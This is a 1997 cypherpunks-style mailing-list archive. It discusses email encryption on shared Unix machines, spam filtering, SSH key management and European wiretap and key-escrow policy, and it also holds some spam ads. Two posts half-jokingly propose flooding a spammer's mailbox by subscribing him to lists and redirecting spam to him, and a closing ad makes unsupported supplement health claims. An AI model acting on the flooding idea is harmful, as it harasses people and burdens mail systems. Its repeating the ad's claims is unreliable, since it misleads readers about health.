necessity. But give the public a relatively easy > option to exit this game, and that public good becomes a public evil. > Naturally, it doesn't appear that way to the people who profit from such > waste: Government officials and employees, etc. Area defence is a public good, and therefore can only be paid for by charity or by coercion. Retribution, however is an excludable good. Therefore it can be paid for by normal market mechanisms. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd at echeque.com From enystrom at aurora.nscee.edu Mon Apr 14 23:49:37 1997 From: enystrom at aurora.nscee.edu (Eric Nystrom) Date: Mon, 14 Apr 1997 23:49:37 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: <199704150354.WAA21300@manifold.algebra.com> Message-ID: On Mon, 14 Apr 1997 ichudov at algebra.com wrote: > Multiuser Unix Security == No Security. > > Your users may have illusions, but not true security. > > First thing I'd suggest is to explain them that nothing that goes through > that central unix machine is truly secure. It's absolutely true that nothing on a centralized Unix machine is truly secure. However, is abandoning all pretenses of crypto and security in favor of holding out for a utopian ideal really the best solution? Does using encryption for email on multiuser machines actually hurt the cause of the security community in the long run? (I'm not asking rhetorical questions here -- I'm truly looking for some thoughts on this.) -Eric -- Thus the time may have come to abandon the cool, measured language of technical reports -- all that talk of "perturbations" and "surprises" and "unanticipated events" -- and simply blurt out: "Holy shit! Ten thousand years! That's incredible!" -- Kai Erikson, _A_New_Species_of_Trouble_, 1994. From enystrom at aurora.nscee.edu Tue Apr 15 00:14:03 1997 From: enystrom at aurora.nscee.edu (Eric Nystrom) Date: Tue, 15 Apr 1997 00:14:03 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: <335307BE.7718@sk.sympatico.ca> Message-ID: On Mon, 14 Apr 1997, Toto wrote: > I have found that rather than promoting encryption and anony > remailers, that it is much more effective for me just to be aware > of when someone mentions a problem they are having that can be > solved by crypto/remailers. Do you do consulting work for a specific audience that would be inclined to need to use remailers and encryption more than the average user, or are you referring more to just "average" friends? If it is the second case, especially, I think that many of us might benefit from some specific scenarios in which you proposed encryption and remailers as solutions. > The biggest thing to me is to try to point them toward a level > of technology that they are capable of using, or will be capable > of learning, given the level of their problem. What programs do you usually suggest? On my Linux box, I use pine 3.95's filter hooks to use PGP relatively seamlessly, but the multiuser system that most of my peers use email on does not have a version of pine capable of supporting filters. I've looked into Raph's premail, and have set it up successfully, but it seems a bit obtuse for a normal user. (Plus I *REALLY* don't like the idea of storing my passphrase on the multiuser system as well.) > Also, if a wide range of people are using crypto, whether it > is strong and secure or not, then there will be a larger group > of people interested in the government or their employer not > interfering with their use of it. This brings up an interesting point -- should we crypto users try and work with the system administrators to get PGP set up systemwide, or should we just try to do it on our own, as unobtrusively as possible? A systemwide implimentation of PGP would probably be advantageous, but to ask for that certainly risks bringing attention to otherwise unobtrusive activities that the system administrators might not like. -Eric -- Thus the time may have come to abandon the cool, measured language of technical reports -- all that talk of "perturbations" and "surprises" and "unanticipated events" -- and simply blurt out: "Holy shit! Ten thousand years! That's incredible!" -- Kai Erikson, _A_New_Species_of_Trouble_, 1994. From ichudov at algebra.com Tue Apr 15 00:21:02 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 15 Apr 1997 00:21:02 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: Message-ID: <199704150718.CAA23959@manifold.algebra.com> Eric Nystrom wrote: > > On Mon, 14 Apr 1997 ichudov at algebra.com wrote: > > > Multiuser Unix Security == No Security. > > > > Your users may have illusions, but not true security. > > > > First thing I'd suggest is to explain them that nothing that goes through > > that central unix machine is truly secure. > > It's absolutely true that nothing on a centralized Unix machine is truly > secure. However, is abandoning all pretenses of crypto and security in > favor of holding out for a utopian ideal really the best solution? Does > using encryption for email on multiuser machines actually hurt the cause > of the security community in the long run? > I would not call it truly "utopian". There is not much that's needed to achieve reasonable personal security, protecting from attacks from the Internet -- an individual (pesonal) computer system that offers no internet services. Could be bought for $300 or less. - Igor. From enystrom at aurora.nscee.edu Tue Apr 15 01:11:12 1997 From: enystrom at aurora.nscee.edu (Eric Nystrom) Date: Tue, 15 Apr 1997 01:11:12 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: <199704150718.CAA23959@manifold.algebra.com> Message-ID: On Tue, 15 Apr 1997 ichudov at algebra.com wrote: > I would not call it truly "utopian". There is not much that's needed to > achieve reasonable personal security, protecting from attacks from the > Internet -- an individual (pesonal) computer system that offers no > internet services. Could be bought for $300 or less. That makes a lot of sense for data security in the general sense, but I'm uncertain how useful that would be in terms of helping the user have more secure email. Is there an offline mail reader for standard Unix systems that would run on a platform like you describe? -Eric -- Thus the time may have come to abandon the cool, measured language of technical reports -- all that talk of "perturbations" and "surprises" and "unanticipated events" -- and simply blurt out: "Holy shit! Ten thousand years! That's incredible!" -- Kai Erikson, _A_New_Species_of_Trouble_, 1994. From Windansea at mail1.access.digex.net Tue Apr 15 02:59:43 1997 From: Windansea at mail1.access.digex.net (Windansea at mail1.access.digex.net) Date: Tue, 15 Apr 1997 02:59:43 -0700 (PDT) Subject: Filet Mignon vs Spam Message-ID: You're about to discover that not *everything* that lands in your e-mail box is a scheme. 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From hjk at ddorf.rhein-ruhr.de Tue Apr 15 05:20:04 1997 From: hjk at ddorf.rhein-ruhr.de (=?iso-latin-de?Q?Heinz-J=FCrgen_Keller?=) Date: Tue, 15 Apr 1997 05:20:04 -0700 (PDT) Subject: How to IGNORE massive To: and Cc: spams In-Reply-To: <199704131915.OAA04079@manifold.algebra.com> Message-ID: On Sun, 13 Apr 1997, Igor Chudov @ home wrote: > Dr.Dimitri Vulis KOTM wrote: > > > > ichudov at algebra.com (Igor Chudov @ home) writes: > > > > > > [this is only of interest to UNIX(tm) users. Windows users, please ignore] > > > > I suspect that a typical Windows user with a POP account usually has a unix > > account and a home directory (although its shell may be /etc/false or some > > such); he may be able to ftp to it and create a .forward file pointing > > to procmail, who will look at the incoming mail before passing on to his > > PPP. I don't really know shit about this, so don't flame me if this > > doesn't work. :-) > > If the user shell is /bin/false, most likely the .forward file will not > be able to invoke any programs. > > - Igor. > > > This is a real problem to me. As I recieve mail via cslip using popclient there seems to be no way to get it sorted. Though I'm not a programmer at all I could instruct procmail to do what I want. It works fine when I'm sending mail from one account to the other locally. You can find information on procmail on the net (and this list). But nobody seems to know about popclient, which according to the man-pages may be influenced by an awk-script to do sorting. Does anybody know about an example script on that? An URL? Not that I know about awk. But you can't do anything w/o trying. -Tom ################################################################################ Heinz-Juergen Keller hjk at ddorf.rhein-ruhr.de Derendorfer Str.36 voice:49-211-464314 40479 Duesseldorf Germany ################################################################################ From jt at freenix.fr Tue Apr 15 05:42:59 1997 From: jt at freenix.fr (Jerome Thorel) Date: Tue, 15 Apr 1997 05:42:59 -0700 (PDT) Subject: lambda 3.02 online Message-ID: Bonjour, Lambda 3.02 edition by majordomo is not yet ready. The bulletin's text edition will come out this evening -- 8 pm GMT. You can access to it on the web: http://www.freenix.fr/netizen/302-e.html This bulletin reproduces the Statewatch (http://www.poptel.co.uk/statewatch) report released Feb. 27 about the global wiretap pact agreed among European Union's 15 members for international interceptions of telecommunications. Archived on the lambda's site thanks to Tony Bunyan, Statewatch's director: http://www.freenix.fr/netizen/swreport.html Privacy yours, -- NOTE If you receive this message, that means you are registered as a subscriber of majordomo-backed lambda list. To unsubcribe, send to majordomo at freenix.fr the following command (subject blank - in the message field): unsubscribe lambda-en your at email -- --> Jerome Thorel lambda bulletin Paris, France www.freenix.fr/netizen <-- From unicorn at schloss.li Tue Apr 15 10:02:14 1997 From: unicorn at schloss.li (Black Unicorn) Date: Tue, 15 Apr 1997 10:02:14 -0700 (PDT) Subject: Useful utility? In-Reply-To: <199704150514.WAA03580@proxy1.ba.best.com> Message-ID: I've been hearing a lot of complaints from sysadmins who I try to convince to run SSH lately. "Key management is too difficult." "I cant keep track of all that stuff." I think that an interesting answer might be a ssh key issuing "robot." or vending machine of sorts. It might works something like this. User wants access to the sshd running host. Sysadmin gives the user a one time key only good for connecting to the vending machine via SSH. Would be nice if the robot recycled the password every time a successful connection was made. Connecting to the vending machine, the user would fill out a form including the hostnames he was likely to connect from and etc. After filling out that form, the user would be issued a key for the system, which would be automatically entered into authorized_keys. Whatever other automation was needed to get a user up and running on SSH would be executed. Of course, the main problem is that the sysadmin could capture the secret key of the user and use it to create a false login trail or other mischief. This could be avoided by allowing a user generated key to be submitted, of course. Ideally both options would be presented with a "less secure" warning for the former. Might make a nice project for someone fluent in perl, or even a webpage. I'd do it my self if my programming talents were not so pathetic. Comments? -- Forward complaints to : European Association of Envelope Manufactures Finger for Public Key Gutenbergstrasse 21;Postfach;CH-3001;Bern Vote Monarchist Switzerland From POURCIAU at MSUVX1.MEMPHIS.EDU Tue Apr 15 12:24:50 1997 From: POURCIAU at MSUVX1.MEMPHIS.EDU (Les Pourciau at UMem) Date: Tue, 15 Apr 1997 12:24:50 -0700 (PDT) Subject: The Ethics of Electronic Information Message-ID: <01IHQK3F1V5IB74UI2@MSUVX1.MEMPHIS.EDU> ******WITH ALL APOLOGIES FOR POSTING TO MULTIPLE LISTS,****** ******PLEASE DISTRIBUTE WIDELY****** THE ETHICS OF ELECTRONIC INFORMATION IN THE 21st CENTURY September 26-28, 1997 Sponsored By: The University of Memphis Libraries The U of M Information systems The U of M Linder Center for Urban Journalism The U of M Division of Research and Graduate School The U of M Marcus Orr Center for the Humanities The U of M Cecil C. Humphreys School of Law The U of M Fogelman College of Business and Economics CONFERENCE VENUE Fogelman Executive Center, The University of Memphis, Memphis TN, U.S.A. http://www.people.memphis.edu/~operations/fec_list.htmlx Additional Memphis Web Site: http://www.memphistravel.com THE ELECTRONIC INFORMATION ISSUE Recently historian Neil Postman warned against the naive belief that information is "an unmixed blessing, which through its continued and uncontrolled production and dissemination offers increased freedom, creativity, and peace of mind" (1992, p. 71*). Indeed, information and information technology raise a host of difficult issues: Who will be authorized to have access to the plethora of information that is generated by computers in the 21st century? Will privacy, that most revered of American values, be passe, given the power of computers and the invasiveness of information bureaucracy and technology? Will the possession of information mean riches for the possessors, and will those possessors of information inevitably be the rich nations and neighborhoods of the earth? Who will own information, and who will be barred from access to information? How will copyright be administered on the Internet? These are only a few of the myriad of questions and concerns that occur to practitioners in a variety of professional fields. *Neil Postman, 1992. TECHNOPOLY: THE SURRENDER OF CULTURE TO TECHNOLOGY, New York, Vintage Books, 1992. CALL FOR PAPERS The Symposium Planning Committee seeks original research and application oriented papers, not previously presented elsewhere, which address questions about ethical considerations attendant to the forthcoming Information Age. You are invited to submit an abstract of a proposed paper for consideration by the Review Committee. Alternative modes of presentation, e.g., panel discussions, case studies, will be considered. The deadline for receipt of proposals is April 25, 1997. The following guidelines should be observed in the preparation and submission of your abstracts: 1. The abstract should be a precis of your paper and should be between 1000 and 1,500 words in length. 2. The heading should include the title of your paper, followed by the name(s) and affiliation(s) of the author(s), and the name, address, FAX number, and email address of the author who will present the paper at the Symposium. 3. Acceptance or otherwise will be at the discretion of the Symposium Planning Committee. The presenting author will be notified of the Committee decision no later than May 9, 1997. 4. Upon acceptance of abstracts, authors will be required to forward, no later than August 1, 1997, a copy of their papers as an ASCII file, or a URL which can linked to the Symposium site. 5. Abstracts should be sent to: Dr. Lester J. Pourciau Director of Libraries and Executive Chair, EEI Planning Committee McWherter Library 203 The University of Memphis Campus Box 526500 Memphis, TN 38152-6500 Email: pourciau at cc.memphis.edu CONTACT FOR GENERAL INFORMATION: Mr. Tom Mendina Assistant to the Director The University of Memphis Libraries Phone: 901/678-4310 Fax: 901/678-8218 E-mail: tmendina at cc.memphis.edu LODGING Fogelman Executive Center Hotel $65 for one person; $10 per additional person 901/678-5410 Ridgeway Inn $76 for one person Complimentary airport shuttle 901/766-4000 REGISTRATION To register for symposium attendance only or paper presentations, complete the form BELOW and mail it for receipt no later than August 30, 1997 to: THE UNIVERSITY OF MEMPHIS P.O. BOX 1000, DEPT. 313 MEMPHIS TN 38148-0313 U.S.A. ----DETACH-------DETACH-------DETACH-------DETACH-------DETACH------DETACH----- THE UNIVERSITY OF MEMPHIS SYMPOSIUM ON THE ETHICS OF ELECTRONIC INFORMATION IN THE 21st CENTURY September 26-28, 1997 FOGELMAN EXECUTIVE CENTER THE UNIVERSITY OF MEMPHIS REGISTRATION FORM Make checks payable to: The University of Memphis FAX NUMBER 901-678-2272 For VISA/MASTERCARD/DISCOVER Card number____________________________________ Expiration Date_________________________________ Signature of cardholder_________________________ FEES (includes breakfasts, lunches, and Friday evening cocktails and banquet) Attendance only: $150 Presenters: $100 Students $50 Late Fee: $50 added to any remittance after August 30, 1997 NAME_______________________________________________________________ ADDRESS____________________________________________________________ CITY_______________________________________________________________ STATE__________________________________________ZIP_________________ COUNTRY____________________________________________________________ ORGANIZATION/AFFILIATION___________________________________________ POSITION/TITLE_____________________________________________________ TELEPHONE__________________________________________________________ FAX________________________________________________________________ E-MAIL_____________________________________________________________ Receipt #_______________(for UofM Office use only) From marc at cygnus.com Tue Apr 15 12:33:03 1997 From: marc at cygnus.com (Marc Horowitz) Date: Tue, 15 Apr 1997 12:33:03 -0700 (PDT) Subject: Useful utility? In-Reply-To: Message-ID: Black Unicorn writes: >> I've been hearing a lot of complaints from sysadmins who I try to convince >> to run SSH lately. >> >> "Key management is too difficult." >> "I cant keep track of all that stuff." >> >> I think that an interesting answer might be a ssh key issuing "robot." or >> vending machine of sorts. >> >> It might works something like this. >> >> [ details omitted ] >> >> Comments? It sounds like you've basically reinvented Kerberos, at least from a key management perspective. If you consider some of the pk extensions to Kerberos which have been proposed recently, it's even vaguely similar cryptographically. SSH is great if you control everything in your environment, and if the number of users and endpoints is small. But as these parameters grow and change, Kerberos is more useful, because it scales more easily. What would be truly useful would be to combine the different approaches, so that you could use whichever mode was most appropriate to your environment. This is possible, but the details are subtle, and would probably make backward compatibility difficult. Marc From toto at sk.sympatico.ca Tue Apr 15 12:43:57 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 15 Apr 1997 12:43:57 -0700 (PDT) Subject: FCC to take control of the Net? Domain names and addresses... In-Reply-To: <3353CE42.4DAC@stanford.edu> Message-ID: <3353D98C.497E@sk.sympatico.ca> Rich Graves wrote: > >NSF... FNC-AC... IANA... ARIN... IP... NSI... IAHC... RIPE... FCC... > > There was a W3C IP BOF at WWW6 wherein this stuff was discussed. > JM said they'd have a POV PDQ. Suggest you check out the WG WWW > page ASAP. BT, DT. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From chrisd at loc201.tandem.com Tue Apr 15 13:49:46 1997 From: chrisd at loc201.tandem.com (Chris DiBona) Date: Tue, 15 Apr 1997 13:49:46 -0700 (PDT) Subject: What's good for the goose... Message-ID: <01BC49A3.FD146380@colobus.loc201.tandem.com> Hello all... I was thinking about some things....like many other people, I really dislike junk email. How they get email addresses to send to is no mystery. So here's the idea. We've started seeing people change their email return addresses so that they can avoid spam. I've got a better idea. Make your return address "wallace at cyberpromo.com" , that's right... Good old spamford wallaces email address needs a little traffic. You'll want to change your SIG so that people don't freak out on you. IN FACT, and although I WOULD never RECCOMMEND THIS. (notice the enunciation...'nuf said) I would be tempted, if I had the time of course, to subscribe the freak to as many lists as I could find, but of course I would never do such a thing, as that might at the very least make his communication links kind of active, bringing up the price of doing business for him. Just a little idea.... Chris DiBona PS: Of course I would never do such a thing myself. This is information and ideas provided for your entertainment only...uh huh...that's right...for sure ;-) From owner-lambda-en at freenix.fr Tue Apr 15 14:20:02 1997 From: owner-lambda-en at freenix.fr (owner-lambda-en at freenix.fr) Date: Tue, 15 Apr 1997 14:20:02 -0700 (PDT) Subject: lambda 3.02 - Big Brother goes international Message-ID: <199704152049.WAA26196@fasterix.frmug.org> --- lambda 3.02 April 14, 1997 Sender: owner-lambda-en at freenix.fr Precedence: bulk * Private Communications Under International Scrutiny: --> Key escrow encryption: The OECD says no, individual countries endorse it --> A global pact for universal wiretapping gains ground in Europe, with support of the U.S. and other industrialized nations * Short-Circuits: --> Social security data causes privacy concerns in U.S., France * * * * * OECD tries to prevent privacy abuses on encryption policy The Paris-based Organization for Economic Cooperation and Development released on March 27 its "Guidelines For Cryptography Policy," after more than a year of intense talks between officials from the 29 governments (see http://www.oecd.org/dsti/iccp/crypto_e.html). Yet there was one pleasant surprise: the guidelines do not explicitly urge governments to establish "key escrow" encryption schemes, although individual countries will be able to act according to its own wishes, for "national security" purposes. According to the Washington, DC-based Electronic Privacy Information Center, among the eight basic principles adopted by the OECD, one is the rejection of key escrow encryption (see point 6, "lawful Access"). "The U.S. sought endorsement for government access to private keys. Initial drafts of the guidelines included this recommendation. The final draft does not. OECD countries rejected this approach," said EPIC. The good point is an "endorsement of voluntary, market-driven development of crypto products. The OECD emphasized open, competitive markets to promote trade and commerce in new cryptographic methods." However, the United States, France and Britain have taken steps to pursue key escrow schemes -- but northern Europe isn't signing on. * USA: From EPIC Alert 4.05: "The White House has released a new draft proposal on key escrow encryption to the Congress. The draft (dated March 12) is entitled the 'Electronic Data Security Act of 1997.' The legislation is the latest attempt to push forward the result the Administration sought to achieve with the failed Clipper Chip initiative -- ensuring government access to all encrypted communications through government-escrowed keys." Resources: http://www.epic.org/crypto/ http://www.cpsr.org/cpsr/nii/cyber-rights/web/crypto_amer.html * France: A decree that will clearly establish the next trusted third-party scheme for business and individuals has not yet been released by the government. Draft proposals (see lambda 3.01) mentioned certain "national" preferences for future TTP agencies. These proposals have divided government officials (it may be an obstacle to common-market principles covering the free flow of capital and workers in the European Union). And the OECD clearly states (see point 8, "International Cooperation") that: "In order to promote international trade, governments should avoid developing cryptography policies and practices which create unjustified obstacles to global electronic commerce. Governments should avoid creating unjustified obstacles to international availability of cryptographic methods." * Britain: The U.K.'s Department of Trade and Industry released its proposal last month on licensing encryption services. According to Ross Anderson, the famed Cambridge University-based cryptographer: "Their effect will be to ban PGP and much more besides," because licensing will be mandatory. An excerpt of the draft regulations say: "We intend that it will be a criminal offence for a body to offer or provide licensable encryption services to the UK public without a valid licence. [...] Public will be defined to cover any natural or legal person in the UK. [...] Encryption services is meant to encompass any service, whether provided free or not, which involves any or all of the following cryptographic functionality - key management, key recovery, key certification, key storage, message integrity (through the use of digital signatures) key generation, time stamping, or key revocation services (whether for integrity or confidentiality), which are offered in a manner which allows a client to determine a choice of cryptographic key or allows the client a choice of recipient/s." Anderson commented: "The licence conditions imply that only large organisations will be able to get licences: small organisations will have to use large ones to manage their keys (this was the policy outlined last June by a DTI spokesman). The main licence condition is of course that keys must be escrowed, and delivered on demand to a central repository within one hour. The mere delivery of decrypted plaintext is not acceptable except perhaps from TTPs overseas under international agreements." The DTI report: http://www.cl.cam.ac.uk/users/rja14/dti.html Other resources: http://www.cpsr.org/cpsr/nii/cyber-rights/web/crypto_brit.html * Scandinavia: Despite these measures, the Nordic countries meanwhile released user-friendly plans to offer a secure and non-escrowed electronic mail system, called the Nordic Post Security Service (Denmark, Finland, Norway and Sweden). Every Scandinavian citizen will soon be offered the possibility of opening an e-mail account using smart card technology that allows for digital signatures and strong encryption of up to 1024 bit-length keys, a high level security. The private key will be embedded on the card, and no TTP system is planned. * * * * * Europe is launching a universal wiretap network The British watchdog group Statewatch revealed confidential documents from the European Union's intergovernmental meetings that show a global wiretapping system is under way among Europe, the United States and other industrialized countries. Legally speaking, the resolution and memorandum agreed among the EU's 15 countries have not yet been accepted by national parliaments, so it has no value except as a clear and profound indication of political will. See the full report, archived on the lambda's server thanks to Statewatch: http://www.freenix.fr/netizen/swreport.html Tony Bunyan, the director of Statewatch, published a communique at the end of February explaining the basic purposes of the wiretap plan: -- fwd message -- "The Council of the European Union and the FBI in Washington, USA have been cooperating for the past five years on a plan to introduce a global telecommunications tapping system. The system takes advantage of the liberalisation of telecommunications -- where private companies are taking over from national telephone systems -- and the replacement of land/sea based lines and microwave towers by satellite communications. Telephone lines are now partly land-based or under sea or via microwave land-based towers but the new generation of telecommunications will be totally satellite-based." The EU-FBI initiative notes the demise of: 1. state-owned telephone companies 2. nationally-based telephone systems is concerned about: 3. the problems faced with intercepting "mobile" phones and encrypted communications and wants to ensure: 4. there is harmonisation of national laws on interception 5. to ensure that telecommunications provider business cooperate with the police and internal security 6. the equipment produced has standards which can be intercepted 7. as many countries as possible to sign up and thus create a de facto global system (through provisions of equipment etc to third countries). A related disclosure in a book by Nicky Hager shows that instead of "suspects" and "targets" the ECHELON system simply trawls the airwaves for "subversive thoughts" in written form and increasingly in verbal form. ECHELON is run under the 1948 UKUSA agreement by the US, UK, Canada, New Zealand and Australia." -- end of fwd message -- * * * * * Short-Circuits: Social security data causes privacy concerns in U.S., France The Internet site of the U.S. Social Security Administration was closed due to privacy concerns, in that it supplied information about an individual's personal income and retirement benefits, the Washington Post reported April 10. Abstracts from the Edupage press review: "The shut-down followed receipt by the Administration of a harshly critical letter written by a bipartisan group of legislators who said the site's security systems were inadequate. To obtain information, a computer user needed merely to supply a name, address, telephone number, place of birth, Social Security number, and mother's maiden name -- items that are available in many private databases." In France, the government adopted on April 2 a draft law that extends the use of social security numbers, known as NIR, to tax authorities (the French equivalent to the U.S.'s Internal Revenue Service). The NIR is one of the most sensitive pieces of social data in Europe, since it classifies individuals according to their place of birth and is linked to all social benefits files. Earlier attempts in the 1970s to extend the NIR to other parts of the government had failed. The government passed these measures officially to fight fraud in social benefits households (minimum salary, housing aid, family pensions, etc.). The national data privacy commission, the CNIL, along with the League for Human Rights, expressed great concerns about the plan, which, if implemented by parliament, could especially harm low-income people. --- end of lambda 3.02 --- www.freenix.fr/netizen/302-e.html Jerome Thorel, April 1997. English proof-reader: K. N. Cukier --- To unsubscribe the lambda bulletin, send to majordomo at freenix.fr the following command: unsubscribe lambda-en to subscribe: subscribe lambda-en ### From cmcurtin at research.megasoft.com Tue Apr 15 15:49:03 1997 From: cmcurtin at research.megasoft.com (C Matthew Curtin) Date: Tue, 15 Apr 1997 15:49:03 -0700 (PDT) Subject: What's good for the goose... In-Reply-To: <01BC49A3.FD146380@colobus.loc201.tandem.com> Message-ID: <199704152246.SAA25622@goffette.research.megasoft.com> >>>>> "Chris" == Chris DiBona writes: Chris> Make your return address "wallace at cyberpromo.com" , that's Chris> right... Good old spamford wallaces email address needs a Chris> little traffic. You'll want to change your SIG so that people Chris> don't freak out on you. Something that I've been toying with is setting up an alias that all of the fools who spam somehow get subscribed to. Procmail then filters incoming email for spam. Rejects are redirected to the alias, rather than simply /dev/null. Those that slip through procmail get "bounced" to the alias. And, of course, there's always the option of instead piping the spam to a program that sends the mail to the alias from one of its own members. Chris> IN FACT, and although I WOULD never RECCOMMEND THIS Indeed. -- Matt Curtin Chief Scientist Megasoft, Inc. cmcurtin at research.megasoft.com http://www.research.megasoft.com/people/cmcurtin/ I speak only for myself Death to small keys. Crack DES NOW! http://www.frii.com/~rcv/deschall.htm From sunder at brainlink.com Tue Apr 15 15:59:34 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Tue, 15 Apr 1997 15:59:34 -0700 (PDT) Subject: Microsoft Site Gestapo In-Reply-To: <199704110530.WAA01009@fat.doobie.com> Message-ID: On Thu, 10 Apr 1997, Huge Cajones Remailer wrote: > At 08:53 PM 4/10/97 -0700, you wrote: > >Welcome to Site Builder Network - Level 1. > > > >We went to your site(s) and found the Microsoft Internet Explorer logo > >and link, so your membership has been upgraded to Level 1. You now have > >access to the Members Only - Level 1 Lounge as well as the Members Only > >Download Area. Please take some time to visit > >http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in > >store for you. Your ID and password are listed below for your > >convenience. > > > >Do you think you qualify for Level 2? Would you like to? The reason > >your Level 2 registration failed could be one of the following reasons: > > > >You are not using an ActiveX control. > >====================================== > >To find out more about ActiveX, go to our home page at > > > Fuck you. So just add the shutdown ActiveX control. :) "ActiveX ActiveX, format hard drive? Just say yes!" :) =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "If you're gonna die, die with your|./|\. ..\|/..|sunder at sundernet.com|boots on; If you're gonna try, just |/\|/\ <--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/ ../|\..| "A toast to Odin, |you're gonna die, you're gonna die!" |.\|/. .+.v.+.|God of screwdrivers"| --Iron Maiden "Die With Your Boots on"|..... ======================== http://www.sundernet.com ========================= For with those which eternal lie, with strange eons even death may die. From rah at shipwright.com Tue Apr 15 16:36:54 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 15 Apr 1997 16:36:54 -0700 (PDT) Subject: Online Banking: "MoneyClip" Message-ID: --- begin forwarded text X-Sender: oldbear at pop.tiac.net Date: Tue, 15 Apr 1997 15:59:34 -0400 To: Digital Commerce Society of Boston From: The Old Bear Subject: Online Banking: "MoneyClip" Mime-Version: 1.0 Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: The Old Bear MONEYCLIP DOES ONLINE BANKING A group of companies has developed a device that turns almost any PC into an automatic teller machine. The MoneyClip, which is a diskette that incorporates a smart card and access software, enables users "to perform virtually any ATM transaction from the comfort of their homes," says the CEO of the Home Financial Network, one of the four developers. In order to use the MoneyClip, a PC has to already be loaded with online banking software and the owner has to have an account at a bank that offers online banking. source: Tampa Tribune April 14, 1997 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From wcampbel at peganet.com Tue Apr 15 18:19:35 1997 From: wcampbel at peganet.com (Bill Campbell) Date: Tue, 15 Apr 1997 18:19:35 -0700 (PDT) Subject: Online Banking: "MoneyClip" In-Reply-To: Message-ID: <199704160119.VAA18624@mercury.peganet.com> Robert Hettinga forwarded: > MONEYCLIP DOES ONLINE BANKING > > A group of companies has developed a device that turns > almost any PC into an automatic teller machine. The > MoneyClip, which is a diskette that incorporates a > smart card and access software, enables users "to > perform virtually any ATM transaction from the comfort Actually, it should be pointed out that the Money Clip is actually a Smarty Smart Card Reader (from Fischer International) , not a "diskette". =Bill= From nobody at faust.guardian.co.uk Tue Apr 15 18:48:10 1997 From: nobody at faust.guardian.co.uk (Shift Control) Date: Tue, 15 Apr 1997 18:48:10 -0700 (PDT) Subject: Not the General Election Message-ID: <199704151316.OAA29828@faust.guardian.co.uk> In this week's Not The Election Issue of Shift Control: "Now that the abattoir bosses have revealed that the real cause of the E. coli outbreak is because cows are covered in faeces, how can we waste time voting? We could save the life of a little old lady simply by hosing down a cow." - Nick Green on alternative ways to spend May Day "Nobody minds people's personal sexual foibles, but it'd be the decent thing if old Piers Merchant had campaigned for the rights of sex workers. Or if Sir Michael Hirst had voted for lowering the age of homosexual consent. Being too apathetic to register my vote even for Reader's Digest free prize draws, I have failed to grill my local party candidates on this particular hot sausage. In fact, my only political contact is the landlord of the pub next to my mother's house, who is the chairman of the Monster Raving Loony Party." - Kate Spicer tries to decide how - or if - she should vote "The Monarch will preferably be of the warrior mentality, with a smart, non-people-based army. Say, for example, 10 battalions of cloned and chip-implanted SAS geezers plus a lot of anti-personnel surveillance gear embedded in any interactive mass media - telephones, computers, televisions. This way the King can not only know and rule his people, he can direct market to them as well." - Robin Hunt assesses alternatives to the liberal democratic system Also this week: Our quiz asks how wild you are about sleaze, our consumer section explains how to eat a liberal, Leo Hickman provides his fantasy Cabinet, plus more antics from Freebee, the rock 'n' roll insect with ants in his pants. Shift Control: incorruptible as ever, waiting for you at http://www.shiftcontrol.com Shift Control is produced by the Guardian's New Media Lab with help from Boddingtons and Stella Artois Dry To unsubscribe from this mailing list send e-mail to shiftcontrol-request at nml.guardian.co.uk with the following text in the body of the mail message: unsubscribe From cm at subcellar.mwci.net Tue Apr 15 19:06:13 1997 From: cm at subcellar.mwci.net (cm at subcellar.mwci.net) Date: Tue, 15 Apr 1997 19:06:13 -0700 (PDT) Subject: URGENT Message-ID: <199704160151.UAA24477@subcellar.mwci.net> Hello; "My research indicates the following material is of interest to you. If you prefer not to be on this mailing list, please let us know, and you will be promptly removed." I am on a mission, no I'm on a CRUSADE to educate people that there are no "GET RICH QUICK" programs, only honest or dishonest opportunities. There are also, no "Miracle Products" or "Cure All Products". Remember, what you see isn't always what you get. Anything that has the potential to be a money-earner will take some work, and sometimes alot of work. I (Christopher Miller) started this Company with the belief that it shouldn't be necessary for you to spend a fortune to be healthy and feel good. Also, I believe that there are far too many companies that offer Business Opportunities only to end up draining the Distributors bank account instead of filling it. There are also many deceptive trade practices taking place everyday where Con-Artists take advantage of unsuspecting people. Our products are very competitively priced and Distributorships are very inexpensive to operate. Cosmic Enterprises, a world leader in manufacturing quality nutritional products. With its headquarters located in Iowa, La., Cosmic Enterprises has Independant Representatives in the U.S., Indonesia and the United Kingdom. President Christopher Miller who is the founder, started his Nutritional career working from home in his spare time, doing research on his own value packed Nutritional Energy Formula. This energy product is the result many months of research, shopping and testing. I was searching for a product that would satisfy the need for sustained energy levels, increased mental alertness, balanced blood pressure and blood sugar levels along with antioxidant prtection and improved hormone activity. Not finding one, I started on a quest to find a manufacturing company that would want to do things my way. After many months of searching and negotiations the result of my quest was born. I called the formula Renew because it does so many things. It literally enhances every one of the body processes and functions. If all this sounds too good to be true, it's because we have been programmed by large corporations all these years to beleive that the things we need to healthy are very very 